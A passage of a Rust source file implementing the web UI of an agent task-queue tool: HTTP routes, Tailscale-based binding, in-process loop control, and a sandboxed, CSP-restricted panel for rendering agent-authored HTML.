Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::queue::{Queue, Source, Task, title_from};
121use crate::run::{RunState, RunStatus};
122use crate::{chat, daemon, report, repos, run};
123
124/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
125pub const DEFAULT_PORT: u16 = 7878;
126
127/// How often the change stream restats the queue and the runs directory.
128const POLL: Duration = Duration::from_secs(1);
129
130/// Keep-alive interval for the change stream. Phones and intermediaries drop
131/// an idle connection within a minute; a comment every fifteen seconds keeps
132/// the stream alive without waking the radio often enough to matter.
133const KEEPALIVE: Duration = Duration::from_secs(15);
134
135/// Runs returned when the client does not ask, and the ceiling if it asks for
136/// more. The cap exists because the list handler parses every `run.json` it
137/// returns, and a phone cannot render two thousand rows anyway.
138const LIST_DEFAULT: usize = 50;
139/// Upper bound for `?limit=`.
140const LIST_MAX: usize = 500;
141
142/// Width of a generated task title, matching what the CLI uses.
143const TITLE_MAX: usize = 72;
144
145/// The header that makes serving agent-authored HTML defensible, sent by both
146/// panel routes and asserted verbatim by a test.
147///
148/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
149/// denies every fetch destination that is not re-allowed below, which is all of
150/// them except images and fonts; `img-src 'self' data:` means an image comes
151/// from magi's own asset route or from the document itself, so a panel cannot
152/// signal an outside server by pointing an `<img>` at it - the classic
153/// exfiltration channel for markup that cannot run script. `style-src
154/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
155/// free formatting means here and a style sheet cannot make a request that
156/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
157/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
158/// stops a form posting the owner's decision to a third party, and
159/// `frame-ancestors 'self'` stops another site framing the panel to phish with
160/// it.
161///
162/// There is deliberately no `script-src`: `default-src 'none'` already covers
163/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
164/// denied twice over. Weakening any directive here is the difference between a
165/// panel the owner reads and a page that can talk to the tailnet, which is why
166/// the test compares the whole string rather than looking for a substring.
167const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
168                         font-src data:; base-uri 'none'; form-action 'none'; \
169                         frame-ancestors 'self'";
170
171const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
172const APP_CSS: &str = include_str!("../assets/ui/app.css");
173const APP_JS: &str = include_str!("../assets/ui/app.js");
174
175/// Which address to listen on.
176#[derive(Debug, Clone, Copy, PartialEq, Eq)]
177pub enum Bind {
178    /// Ask Tailscale, and fall back to loopback with a warning.
179    Auto,
180    /// An address the operator named.
181    Addr(IpAddr),
182}
183
184impl std::str::FromStr for Bind {
185    type Err = String;
186
187    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
188    /// the CLI can take `--bind` straight into it: the one spelling of
189    /// `auto` that matters is the one this function knows.
190    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
191        if s.eq_ignore_ascii_case("auto") {
192            return Ok(Self::Auto);
193        }
194        s.parse()
195            .map(Self::Addr)
196            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
197    }
198}
199
200impl std::fmt::Display for Bind {
201    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
202        match self {
203            Self::Auto => f.write_str("auto"),
204            Self::Addr(addr) => write!(f, "{addr}"),
205        }
206    }
207}
208
209/// How to serve.
210#[derive(Debug, Clone)]
211pub struct Opts {
212    /// Address to listen on.
213    pub bind: Bind,
214    /// Port to listen on.
215    pub port: u16,
216    /// Repository used for tasks posted without one.
217    pub repo: PathBuf,
218    /// Print the URL on its own line for a caller that wants to hand it to a
219    /// browser. magi never launches one itself.
220    pub open: bool,
221    /// Merge mode override for the loop this process runs (`none`, `local`,
222    /// `pr`); `None` leaves it to each repository's own config.
223    ///
224    /// The same override `magi serve --merge` takes, and here for the same
225    /// reason: `magi web` is now the thing that runs the loop, so an operator
226    /// who wants this session's runs to open pull requests has to be able to
227    /// say so without going back to the command they no longer type.
228    pub merge: Option<String>,
229}
230
231impl Default for Opts {
232    fn default() -> Self {
233        Self {
234            bind: Bind::Auto,
235            port: DEFAULT_PORT,
236            repo: PathBuf::from("."),
237            open: false,
238            merge: None,
239        }
240    }
241}
242
243/// Everything the handlers touch.
244///
245/// The queue, the runs directory and the magi home are fields rather than
246/// process-global lookups so a test drives the real router against a temp
247/// directory instead of the operator's own history.
248#[derive(Debug, Clone)]
249pub struct Ui {
250    queue: Queue,
251    questions: Questions,
252    chats: Chats,
253    runs: PathBuf,
254    home: PathBuf,
255    repo: PathBuf,
256    /// Chats with an agent turn in flight right now.
257    ///
258    /// In-process and therefore not durable, which is correct: it guards
259    /// against two taps on one phone and two phones on one tailnet, both of
260    /// which are this process's own concurrency. A second `magi web` would not
261    /// see it, and a second `magi web` on the same home is already a
262    /// misconfiguration the queue's claims would catch first.
263    turns: Arc<Mutex<HashSet<String>>>,
264    /// Runs this process is resuming right now.
265    ///
266    /// Separate from `turns` because a run and a chat are different things to
267    /// hold, and a resume is far more expensive to start twice: it re-asks
268    /// agent seats. Same reasoning about scope as `turns` — this guards two
269    /// taps and two phones, which is this process's own concurrency.
270    resuming: Arc<Mutex<HashSet<String>>>,
271    /// The last scan of `[repos] roots`, and when it happened. Shared across
272    /// requests so a phone opening the repository picker repeatedly does not
273    /// repeat the filesystem walk every time - see [`repos::Cache`].
274    repos_cache: repos::Cache,
275    /// Merge mode override handed to the loop this process starts.
276    merge: Option<String>,
277    /// The loop this process is running, if it is running one.
278    looping: Arc<Mutex<LoopState>>,
279    /// How a loop is actually started.
280    ///
281    /// A field rather than a direct call to [`daemon::serve_until`], because
282    /// the real loop resolves its queue and its status file through the
283    /// process-global magi home and claims whatever it finds there. A test
284    /// that started it would reach straight past its own temp directory into
285    /// the operator's live queue, overwrite the status file of the `magi
286    /// serve` that owns it, and spend real agent quota on a real competition.
287    /// What the routes have to get right is the bookkeeping, so the tests
288    /// drive the routes against a loop that only starts and stops; production
289    /// is [`launch_daemon`] and nothing reassigns it.
290    launch: Launch,
291}
292
293impl Ui {
294    /// A server over explicit paths.
295    pub fn new(
296        queue: Queue,
297        questions: Questions,
298        chats: Chats,
299        runs: PathBuf,
300        home: PathBuf,
301        repo: PathBuf,
302    ) -> Self {
303        Self {
304            queue,
305            questions,
306            chats,
307            runs,
308            home,
309            repo,
310            turns: Arc::default(),
311            resuming: Arc::default(),
312            repos_cache: repos::Cache::new(),
313            merge: None,
314            looping: Arc::default(),
315            launch: launch_daemon,
316        }
317    }
318
319    /// The operator's own state: `<home>/queue`, `<home>/questions`,
320    /// `<home>/chats`, `<home>/runs`.
321    pub fn open(repo: PathBuf) -> Self {
322        Self::new(
323            Queue::open(),
324            Questions::open(),
325            Chats::open(),
326            run::runs_root(),
327            run::home(),
328            repo,
329        )
330    }
331
332    /// The merge mode the loop should use, as the command line gave it.
333    ///
334    /// A builder step rather than a seventh parameter on [`Ui::new`], because
335    /// the override is a property of how this process was invoked and not of
336    /// where its state lives - which is all the tests that build a `Ui` by
337    /// hand are saying.
338    #[must_use]
339    pub fn with_merge(mut self, merge: Option<String>) -> Self {
340        self.merge = merge;
341        self
342    }
343
344    /// Point the loop at something other than [`launch_daemon`].
345    ///
346    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
347    /// this crate may start the real loop.
348    #[cfg(test)]
349    #[must_use]
350    fn with_launch(mut self, launch: Launch) -> Self {
351        self.launch = launch;
352        self
353    }
354
355    /// The loop's state, for [`serve`]'s own way out.
356    fn looping(&self) -> Arc<Mutex<LoopState>> {
357        Arc::clone(&self.looping)
358    }
359
360    /// Start the loop in this process, or say who already has one.
361    ///
362    /// `foreign` is passed in rather than read here so that one request makes
363    /// one judgement about who owns the loop: reading the status file again
364    /// inside this function could refuse a start for a daemon the same
365    /// response then reports as gone.
366    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
367        if let Some(other) = foreign {
368            return Err(ApiError::conflict(format!(
369                "{} is already running the loop, so this one will not start a \
370                 second: two loops on one queue race for the same claims and \
371                 burn the agent quota twice over. Stop it where it was \
372                 started.",
373                other.who()
374            )));
375        }
376        let mut state = self.lock_loop();
377        if state.live.as_ref().is_some_and(Live::alive) {
378            return Err(ApiError::conflict(format!(
379                "this magi web process (pid {}) is already running the loop",
380                std::process::id()
381            )));
382        }
383
384        let stop = daemon::Stop::new();
385        // The CLI's own defaults for everything the UI has no opinion about:
386        // one poll interval and one retry budget, so a loop started from a
387        // phone behaves exactly like the `magi serve` it replaces.
388        let opts = daemon::Opts {
389            repo: self.repo.clone(),
390            merge: self.merge.clone(),
391            ..daemon::Opts::default()
392        };
393        let launch = self.launch;
394        let looping = Arc::clone(&self.looping);
395        let handle = tokio::spawn({
396            let opts = opts.clone();
397            let stop = stop.clone();
398            async move {
399                let failure = match launch(opts, stop).await {
400                    Ok(()) => None,
401                    Err(e) => Some(format!("{e:#}")),
402                };
403                match &failure {
404                    Some(why) => tracing::error!("the loop stopped: {why}"),
405                    None => tracing::info!("the loop stopped"),
406                }
407                // Recorded by the task itself rather than reaped by whichever
408                // request happens next, so `loop_rev` moves the moment the
409                // loop ends and a phone with the change stream open learns
410                // that it did. Clearing `live` drops this task's own handle,
411                // which only detaches it, and is the last thing it does.
412                let mut state = lock_or_recover(&looping);
413                state.live = None;
414                state.last_error = failure;
415                state.rev += 1;
416            }
417        });
418        tracing::info!(
419            "the loop is now running in this process: repo {}, merge {}",
420            opts.repo.display(),
421            opts.merge.as_deref().unwrap_or("as the config says")
422        );
423        state.live = Some(Live { stop, handle, opts });
424        // A fresh start is not the place to keep showing why the last one
425        // died; the operator has read it and pressed the button anyway.
426        state.last_error = None;
427        state.rev += 1;
428        Ok(())
429    }
430
431    /// Ask the loop to stop, without waiting for it to get there.
432    ///
433    /// Idempotent: a second tap on stop is not an error, because the first one
434    /// leaves the loop running for as long as the run in flight takes and the
435    /// operator has no way to tell a slow stop from a lost one.
436    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
437        if let Some(other) = foreign {
438            return Err(ApiError::conflict(format!(
439                "the loop belongs to {}, and this process cannot stop it - \
440                 stop it where it was started. A button that silently did \
441                 nothing would be worse than this refusal.",
442                other.who()
443            )));
444        }
445        let mut state = self.lock_loop();
446        let Some(live) = state.live.as_ref() else {
447            return Ok(());
448        };
449        // A park upgrades a stop that has already been asked for: the
450        // operator who tapped "stop" and then realised the run has an hour
451        // left must not have to restart the loop to change their mind.
452        if live.stop.stopped() && (!park || live.stop.parking()) {
453            return Ok(());
454        }
455        if park {
456            live.stop.park();
457            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
458        } else {
459            live.stop.stop();
460            tracing::info!("the loop was asked to stop; a run in flight is finished first");
461        }
462        state.rev += 1;
463        Ok(())
464    }
465
466    /// The loop as both `/api/loop` and `/api/health` report it.
467    ///
468    /// `reading` is the caller's single read of `<home>/daemon.json`, because
469    /// health answers with this view *and* the daemon object beside it: one
470    /// read per response is what stops a single answer naming a foreign owner
471    /// in one field and calling the loop free in the other.
472    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
473        let state = self.lock_loop();
474        // A loop that panicked never recorded its own end, so the handle -
475        // not the presence of the record - is what "running" means.
476        let live = state.live.as_ref().filter(|live| live.alive());
477        LoopView {
478            running: live.is_some(),
479            stopping: live.is_some_and(|live| live.stop.finishing()),
480            parking: live.is_some_and(|live| live.stop.parking()),
481            owned: live.is_some(),
482            repo: live
483                .map_or(&self.repo, |live| &live.opts.repo)
484                .display()
485                .to_string(),
486            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
487            last_error: state.last_error.clone(),
488            daemon: DaemonView::of(reading),
489        }
490    }
491
492    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
493    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
494        lock_or_recover(&self.looping)
495    }
496
497    /// Claim the right to run one turn in a chat, or refuse.
498    ///
499    /// An interview is strictly turn-based: the interviewing agent is resumed
500    /// with the conversation it already has, so two turns running at once would
501    /// resume the same session twice and append their answers in whatever order
502    /// the two CLIs finished in. The operator would come back to a transcript
503    /// with two half-turns interleaved, which is unreadable and, worse,
504    /// unfixable - there is no undo for a persisted turn.
505    ///
506    /// Refusing with a conflict rather than queueing behind the first turn is
507    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
508    /// link is exactly the case where the operator taps send twice; queueing
509    /// would answer the second tap with a second agent turn on text they only
510    /// meant to send once, and would do it a minute later when they have
511    /// stopped looking. An immediate 409 is a thing the front end can act on.
512    ///
513    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
514    /// taken to test-and-insert and released before the agent is spawned. The
515    /// returned guard removes the id on drop, which is what makes a panicking
516    /// handler or a phone that walks out of range leave the chat usable - axum
517    /// drops the handler future when the client disconnects, and without the
518    /// guard that chat would be wedged until the server restarted.
519    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
520        let mut live = self
521            .turns
522            .lock()
523            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
524        if !live.insert(id.to_owned()) {
525            return Err(ApiError::conflict(format!(
526                "chat {id} is already taking a turn"
527            )));
528        }
529        Ok(TurnGuard {
530            chat: id.to_owned(),
531            turns: Arc::clone(&self.turns),
532        })
533    }
534
535    /// Park the loop for an upgrade, and report the run that is parking.
536    ///
537    /// A park rather than a stop: a stop waits out the whole competition, and
538    /// not waiting is the point of upgrading from a phone. `None` means
539    /// nothing was in flight, which is worth saying so the operator is not
540    /// told a run is parking when none is.
541    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
542        let parking = {
543            let mut state = self.lock_loop();
544            let Some(live) = state.live.as_ref() else {
545                return Ok(None);
546            };
547            let busy = live.stop.busy_now();
548            live.stop.park();
549            state.rev += 1;
550            busy
551        };
552        Ok(if parking {
553            daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
554        } else {
555            None
556        })
557    }
558
559    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
560    /// a guard that releases on drop, so a disconnected phone does not wedge
561    /// the run until the server restarts.
562    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
563        let mut live = self
564            .resuming
565            .lock()
566            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
567        if !live.insert(id.to_owned()) {
568            return Err(ApiError::conflict(format!(
569                "run {id} is already being resumed"
570            )));
571        }
572        Ok(ResumeGuard {
573            run: id.to_owned(),
574            resuming: Arc::clone(&self.resuming),
575        })
576    }
577
578    /// The router, with this state baked in.
579    ///
580    /// The three front-end files get one explicit route each rather than a
581    /// path parameter, so there is no traversal surface to get wrong: the set
582    /// of servable paths is the set written here. The asset route below is the
583    /// one exception and the only place in this server where a client names a
584    /// file; it is why [`valid_asset_name`] is checked before a path is built.
585    pub fn router(self) -> Router {
586        Router::new()
587            .route("/", get(index))
588            .route("/app.css", get(app_css))
589            .route("/app.js", get(app_js))
590            .route("/api/health", get(health))
591            .route("/api/loop", get(loop_get).post(loop_post))
592            .route("/api/upgrade", post(upgrade_post))
593            .route("/api/runs", get(runs_list))
594            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
595            .route("/api/runs/{id}/report", get(run_report))
596            .route("/api/runs/{id}/fold", post(run_fold))
597            .route("/api/runs/{id}/resume", post(run_resume))
598            .route("/api/queue", get(queue_list).post(queue_post))
599            .route("/api/queue/{id}", delete(queue_delete))
600            .route("/api/repos", get(repos_list))
601            .route("/api/queue/{id}/hold", post(queue_hold))
602            .route("/api/queue/{id}/release", post(queue_release))
603            .route("/api/questions", get(questions_list))
604            .route("/api/questions/{id}/answer", post(question_answer))
605            .route("/api/questions/{id}/panel", get(question_panel))
606            // The same asset, reachable from inside the panel by its bare
607            // filename. A document served at `.../panel` resolves `shot.png`
608            // to `.../shot.png`, which is not the asset route, so a panel
609            // written the way its author was told to write it showed broken
610            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
611            // it - deliberately - so the fix is that the panel's own URL ends
612            // in a filename and its siblings are the assets.
613            .route("/api/questions/{id}/panel/index.html", get(question_panel))
614            .route("/api/questions/{id}/panel/{name}", get(question_asset))
615            .route("/api/questions/{id}/asset/{name}", get(question_asset))
616            .route("/api/chats", get(chats_list).post(chat_post))
617            .route("/api/chats/{id}", get(chat_detail))
618            .route("/api/chats/{id}/say", post(chat_say))
619            .route("/api/chats/{id}/file", post(chat_file))
620            .route("/api/events", get(events))
621            .with_state(Arc::new(self))
622    }
623}
624
625/// One chat's turn slot, released on drop.
626///
627/// A guard rather than a matching `remove` at the end of the handler, because
628/// the handler has several early returns and one `await` that can be cancelled
629/// out from under it. A leaked id is a chat nobody can talk to again.
630#[derive(Debug)]
631struct TurnGuard {
632    chat: String,
633    turns: Arc<Mutex<HashSet<String>>>,
634}
635
636impl Drop for TurnGuard {
637    fn drop(&mut self) {
638        if let Ok(mut live) = self.turns.lock() {
639            live.remove(&self.chat);
640        }
641    }
642}
643
644/// Releases a resume claim, so a run is resumable again after the attempt.
645struct ResumeGuard {
646    run: String,
647    resuming: Arc<Mutex<HashSet<String>>>,
648}
649
650impl Drop for ResumeGuard {
651    fn drop(&mut self) {
652        if let Ok(mut live) = self.resuming.lock() {
653            live.remove(&self.run);
654        }
655    }
656}
657
658async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
659    const WINDOW: Duration = Duration::from_secs(10);
660    const GAP: Duration = Duration::from_millis(250);
661
662    let deadline = std::time::Instant::now() + WINDOW;
663    let mut said = false;
664    loop {
665        match tokio::net::TcpListener::bind(socket).await {
666            Ok(listener) => return Ok(listener),
667            Err(e)
668                if e.kind() == std::io::ErrorKind::AddrInUse
669                    && std::time::Instant::now() < deadline =>
670            {
671                if !said {
672                    said = true;
673                    tracing::info!(
674                        "{socket} is still held - waiting up to {}s for it, \
675                         which is what a restart looks like from here",
676                        WINDOW.as_secs()
677                    );
678                }
679                tokio::time::sleep(GAP).await;
680            }
681            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
682        }
683    }
684}
685
686/// Signalled when an upgrade has replaced the binary and the successor should
687/// take this address over. One per process: there is one address to hand on.
688static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
689
690/// Start this binary again with the same arguments, detached.
691///
692/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
693/// so the address is already free when the successor binds it. The first
694/// attempt at this spawned the successor two hundred milliseconds before
695/// exiting instead, and the released binary - which has no bind retry - died
696/// on "address already in use" with its stdio sent to null, so the deck
697/// simply never came back.
698///
699/// Detached and without inherited stdio: the successor has to outlive this
700/// process, and must not hold open a pipe a terminal is waiting on.
701fn spawn_successor() -> Result<()> {
702    let exe = std::env::current_exe().context("find this binary")?;
703    let args: Vec<String> = std::env::args().skip(1).collect();
704    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
705
706    let mut cmd = std::process::Command::new(&exe);
707    cmd.args(&args)
708        .stdin(std::process::Stdio::null())
709        .stdout(std::process::Stdio::null())
710        .stderr(std::process::Stdio::null());
711    #[cfg(windows)]
712    {
713        use std::os::windows::process::CommandExt as _;
714        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
715        // and Ctrl-C in the old terminal must not reach the successor.
716        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
717    }
718    cmd.spawn().context("start the successor")?;
719    Ok(())
720}
721
722/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
723///
724/// The server itself owns no state, so nothing here is graceful for the HTTP
725/// side's sake: the connections go with the dropped listener, which costs a
726/// phone one change-stream reconnection it was going to make anyway.
727///
728/// The signal branch is not optional now that the loop lives in this process.
729/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
730/// handler is what stops the signal terminating the process - so without a
731/// branch of our own, the first Ctrl-C after the operator started the loop
732/// would stop the loop and leave `magi web` listening forever, unkillable
733/// from the terminal it was started in.
734///
735/// What it waits for is the loop, not the sockets. A run in flight is
736/// finished first, for the reason [`daemon::serve`] gives: killing the graph
737/// mid-node leaves worktrees, branches and agent sessions behind and throws
738/// away every agent call already paid for.
739/// Bind the port, waiting briefly for a predecessor to let go of it.
740///
741/// A restart hands the address from one process to the next, and the old one
742/// holds its listener until it unwinds. A single `bind` can lose that race,
743/// and for a restart triggered from a phone that means the deck never comes
744/// back with no terminal around to say why.
745///
746/// Bounded, and only for the one error a wait can fix: anything else fails at
747/// once, because retrying it would turn a clear message into a silence.
748pub async fn serve(opts: Opts) -> Result<()> {
749    let (addr, warning) = resolve_bind(&opts.bind);
750    if let Some(warning) = warning {
751        tracing::warn!("{warning}");
752    }
753
754    // Process-global, and therefore set exactly once, here: the report route
755    // must never emit escape sequences into a browser, and toggling the flag
756    // per request would race with a concurrent request rendering its own
757    // report. Startup is the only moment at which no request can observe the
758    // change. Nothing in the server turns colour back on.
759    report::set_color(false);
760
761    let ui = Ui::open(opts.repo).with_merge(opts.merge);
762    let looping = ui.looping();
763    let socket = SocketAddr::new(addr, opts.port);
764    let listener = bind_waiting(socket).await?;
765    let url = format!("http://{addr}:{}", opts.port);
766    tracing::info!(
767        "magi web UI on {url} - there is no authentication, so anyone who can \
768         reach this address can file and hold tasks: the tailnet is the \
769         security boundary"
770    );
771    tracing::info!(
772        "the queue loop is not running yet - start it from the UI, which is \
773         the whole reason this process can: nothing in the queue moves until \
774         something is running the loop"
775    );
776    if opts.open {
777        // The URL alone on stdout, for a caller that wants to open it. magi
778        // does not spawn a browser: on the machine this usually runs on there
779        // is no display, and a failed launch would be the only output.
780        println!("{url}");
781    }
782
783    let served = axum::serve(listener, ui.router()).into_future();
784    let interrupted = async {
785        if tokio::signal::ctrl_c().await.is_err() {
786            // No handler on this platform, so there is no signal to act on.
787            // Never resolving is the safe answer: a failed registration must
788            // not masquerade as the operator asking for a shutdown and take
789            // the UI down on startup.
790            std::future::pending::<()>().await;
791        }
792    };
793    let handover = HANDOVER.notified();
794    tokio::select! {
795        outcome = served => outcome.context("serve the web UI"),
796        () = interrupted => {
797            tracing::info!("shutting down the web UI");
798            finish_loop(&looping).await;
799            Ok(())
800        }
801        () = handover => {
802            tracing::info!("upgraded - handing this address to the successor");
803            // The loop was parked by the request, so this waits for a node
804            // boundary rather than for a whole competition.
805            finish_loop(&looping).await;
806            spawn_successor()
807        }
808    }
809}
810
811/// Ask the loop to stop and wait for it, on the way out of [`serve`].
812///
813/// The wait is the whole function. Returning from `serve` while a graph is
814/// mid-node ends the process with worktrees, branches and agent sessions left
815/// behind and every agent call in that run paid for and thrown away, which is
816/// exactly what the daemon's own shutdown refuses to do.
817async fn finish_loop(state: &Mutex<LoopState>) {
818    let live = lock_or_recover(state).live.take();
819    let Some(live) = live else { return };
820    live.stop.stop();
821    lock_or_recover(state).rev += 1;
822    tracing::info!("waiting for the loop to finish the run in flight");
823    // The task records its own outcome and logs it, so there is nothing to do
824    // with a join error here but stop waiting.
825    let _ = live.handle.await;
826}
827
828/// Resolve `--bind` to an address, plus a warning when the answer is not what
829/// the operator asked for.
830///
831/// Split out from [`serve`] because the interesting half - deciding whether
832/// Tailscale gave us something usable - is testable without opening a socket.
833pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
834    match bind {
835        Bind::Addr(addr) => (*addr, None),
836        Bind::Auto => match tailscale_ip() {
837            Ok(ip) => (IpAddr::V4(ip), None),
838            Err(why) => (
839                IpAddr::V4(Ipv4Addr::LOCALHOST),
840                Some(format!(
841                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
842                     local-only and a phone cannot reach it; start Tailscale \
843                     or pass --bind <addr>"
844                )),
845            ),
846        },
847    }
848}
849
850/// This machine's Tailscale IPv4, or why there is not one.
851///
852/// `tailscale ip -4` is a local call against the running daemon and returns in
853/// milliseconds, so it is fine to make it synchronously before the server
854/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
855/// CGNAT block Tailscale assigns from, and anything else on that output would
856/// be a different tool answering.
857fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
858    let out = std::process::Command::new("tailscale")
859        .args(["ip", "-4"])
860        .output()
861        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
862    if !out.status.success() {
863        let why = String::from_utf8_lossy(&out.stderr);
864        let why = why.trim();
865        return Err(format!(
866            "`tailscale ip -4` failed ({}){}",
867            out.status,
868            if why.is_empty() {
869                String::new()
870            } else {
871                format!(": {why}")
872            }
873        ));
874    }
875    String::from_utf8_lossy(&out.stdout)
876        .lines()
877        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
878        .find(is_tailnet)
879        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
880}
881
882/// Is this address in the CGNAT block Tailscale hands out from?
883fn is_tailnet(ip: &Ipv4Addr) -> bool {
884    let o = ip.octets();
885    o[0] == 100 && (64..=127).contains(&o[1])
886}
887
888/// What every handler returns. Spelled out because `Result` in this crate is
889/// `anyhow::Result`, and a handler's error is a status code as much as a
890/// message.
891type ApiResult<T> = std::result::Result<T, ApiError>;
892
893/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
894#[derive(Debug)]
895struct ApiError {
